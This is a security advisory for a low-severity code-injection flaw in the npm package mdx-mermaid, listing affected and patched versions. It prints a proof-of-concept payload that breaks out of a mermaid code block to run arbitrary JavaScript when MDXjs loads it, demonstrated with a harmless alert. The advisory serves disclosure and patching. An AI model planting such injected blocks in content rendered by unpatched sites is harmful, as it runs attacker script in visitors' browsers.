GHSA-rvgm-35jw-q628LowCVSS 3.6
Improper Control of Generation of Code ('Code Injection') in mdx-mermaid
🔗 CVE IDs covered (1)
📋 Description
Impact
Arbitary javascript injection
Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs
` + (function () {
// Put Javascript code here
return ''
}()) + `
The block below shows a valid mermaid code block
```mermaid
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
The same block but with the exploit added
```mermaid
` + (function () {
alert('vulnerable')
return ''
}()) + `
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
Patches
1.3.0 and 2.0.0-rc2
Workarounds
None known
🎯 Affected products2
- npm/mdx-mermaid:< 1.3.0
- npm/mdx-mermaid:= 2.0.0-rc1